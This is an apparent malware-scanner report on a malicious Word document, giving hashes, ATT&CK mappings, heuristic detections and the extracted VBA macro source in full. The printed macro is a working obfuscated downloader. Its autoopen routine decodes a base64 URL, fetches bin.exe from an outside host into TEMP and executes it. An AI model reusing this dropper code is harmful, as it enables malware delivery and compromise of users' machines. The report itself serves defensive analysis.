Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17b2a838cf97a51a…

MALICIOUS

Office (OLE)

38.5 KB Created: 2015-01-19 10:09:00 Authoring application: Microsoft Office Word First seen: 2015-02-05
MD5: fceda48793964545a4f101dab47823c3 SHA-1: f55e1cb64383ab94df8615866e45d083ffdb7fe5 SHA-256: 17b2a838cf97a51a957b4fdac872da5275099eafe51d9ef36e4ccd0807863cd6
256 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate/Decode Files or Information T1071.001 Web Protocols T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The autoopen macro triggers a function that decodes a URL and attempts to download a file named 'bin.exe' to the temporary directory. It then uses 'Shell.Application' to execute the downloaded file, which is likely a second-stage payload.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6543408-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6543408-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    sdfsdfsdf.Open Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4217 bytes
SHA-256: 160727a9a00d1e0c08d9b55e069359227037a30875ecc01dcb53b449e1057421
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Const QfmDLcA = "aHR0cDovL2dlbmluYy5jYS9qcy9iaW4uZXhl"
Private Const bkRp4EmIEHl = "XExBVlVCREFKTENELmV4ZQ=="
Private Const oOUPR = "VEVNUA=="
Private Const QoXvtVUK = "U2hlbGwuQXBwbGljYXRpb24="
Private Const gmgiLh = "Z2ZoZGZnc2Rn"
Private Const Lh2UI8IfTSJJ = "R0VU"
Private Const JTWAlwSMB = "TVNYTUwyLlhNTEhUVFA="
Private aDecTab(255) As Integer
Private Const YHg = "="
Private Const SEQjeSufc = "/"
Private Const jNv8XFecDC = "+"
Private Const dNCBqqiwE = "9"
Private Const ePZeX = "0"
Private Const OMm60OhvoT = "z"
Private Const hnEMr0yp = "a"
Private Const lka4A = "Z"
Private Const OHtV = "A"
Private Const Iav = " "

Sub NsCi()
 e2UWZEpCVQ
End Sub
Sub JyXsorj()
     NsCi
End Sub
Sub autoopen()
     NsCi
End Sub
Function XPBNSN(ByVal ADLSYXKPREO As String, ByVal IKDBZPEAYPQ As String) As Boolean
     Dim XJVojlA6AlK As Long, MQVWCEBVJCH As Long, KEXFJZFKHXC() As Byte

    Set ZNMPYFFKHMF = CreateObject(IWF0II4a(JTWAlwSMB))
    ZNMPYFFKHMF.Open IWF0II4a(Lh2UI8IfTSJJ), ADLSYXKPREO, False
    ZNMPYFFKHMF.Send IWF0II4a(gmgiLh)


    KEXFJZFKHXC = ZNMPYFFKHMF.responseBody

    MQVWCEBVJCH = FreeFile
    Open IKDBZPEAYPQ For Binary Access Write As #MQVWCEBVJCH
    Put #MQVWCEBVJCH, , KEXFJZFKHXC
    Close #MQVWCEBVJCH
    
Set sdfsdfsdf = CreateObject(IWF0II4a(QoXvtVUK))
sdfsdfsdf.Open Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
End Function
Sub e2UWZEpCVQ()
BHngijbjfdv = Environ(IWF0II4a(oOUPR)) & IWF0II4a(bkRp4EmIEHl)
sdnfhuijk = IWF0II4a(QfmDLcA)
     XPBNSN sdnfhuijk, BHngijbjfdv
End Sub


Public Function IWF0II4a(sEncoded As String) As String
Dim p8OROg2Ya As String
Dim d(3) As Byte
Dim C As Byte
Dim di As Integer
Dim i As Long
Dim SYTVw3OVtcQ As Long
Dim MILoam1NHP As Long
SYTVw3OVtcQ = Len(sEncoded)
p8OROg2Ya = String((SYTVw3OVtcQ \ 4) * 3, Iav)
MILoam1NHP = 0
di = 0
Call LEqE
' Read in each char in trun
For i = 1 To Len(sEncoded)
C = CByte(Asc(Mid(sEncoded, i, 1)))
C = aDecTab(C)
If C >= 0 Then
d(di) = C
di = di + 1
If di = 4 Then
Mid$(p8OROg2Ya, MILoam1NHP + 1, 3) = c3IyL8a(d)
MILoam1NHP = MILoam1NHP + 3
If d(3) = 64 Then
p8OROg2Ya = Left(p8OROg2Ya, Len(p8OROg2Ya) - 1)
MILoam1NHP = MILoam1NHP - 1
End If
If d(2) = 64 Then
p8OROg2Ya = Left(p8OROg2Ya, Len(p8OROg2Ya) - 1)
MILoam1NHP = MILoam1NHP - 1
End If
di = 0
End If
End If
Next i
 IWF0II4a = p8OROg2Ya
End Function
Private Function c3IyL8a(d() As Byte) As String
Dim C2OurROpo As String
Dim C As Long
C2OurROpo = vbNullString
C = ihX4AO6OBJbw(d(0)) Or (anfuBRZrOy(d(1)) And &H3)
C2OurROpo = C2OurROpo & Chr$(C)
C = s4OLJjiY(d(1) And &HF) Or (D2ULJbG1EKA(d(2)) And &HF)
C2OurROpo = C2OurROpo & Chr$(C)
C = jyQ(d(2) And &H3) Or d(3)
C2OurROpo = C2OurROpo & Chr$(C)
 c3IyL8a = C2OurROpo
End Function
Private Function LEqE()
Dim t As Integer
Dim C As Integer
For C = 0 To 255
aDecTab(C) = -1
Next
t = 0
For C = Asc(OHtV) To Asc(lka4A)
aDecTab(C) = t
t = t + 1
Next
For C = Asc(hnEMr0yp) To Asc(OMm60OhvoT)
aDecTab(C) = t
t = t + 1
Next
For C = Asc(ePZeX) To Asc(dNCBqqiwE)
aDecTab(C) = t
t = t + 1
Next
C = Asc(jNv8XFecDC)
aDecTab(C) = t
t = t + 1
C = Asc(SEQjeSufc)
aDecTab(C) = t
t = t + 1
C = Asc(YHg)
aDecTab(C) = t  ' should be 64
End Function
Private Function ihX4AO6OBJbw(ByVal bytValue As Byte) As Byte
 ihX4AO6OBJbw = (bytValue * &H4) And &HFF
End Function
Private Function s4OLJjiY(ByVal bytValue As Byte) As Byte
 s4OLJjiY = (bytValue * &H10) And &HFF
End Function
Private Function jyQ(ByVal bytValue As Byte) As Byte
 jyQ = (bytValue * &H40) And &HFF
End Function
Private Function D2ULJbG1EKA(ByVal bytValue As Byte) As Byte
 D2ULJbG1EKA = bytValue \ &H4
End Function
Private Function anfuBRZrOy(ByVal bytValue As Byte) As Byte
 anfuBRZrOy = bytValue \ &H10
End Function
Private Function o5ULA(ByVal bytValue As Byte) As Byte
 o5ULA = bytValue \ &H40
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.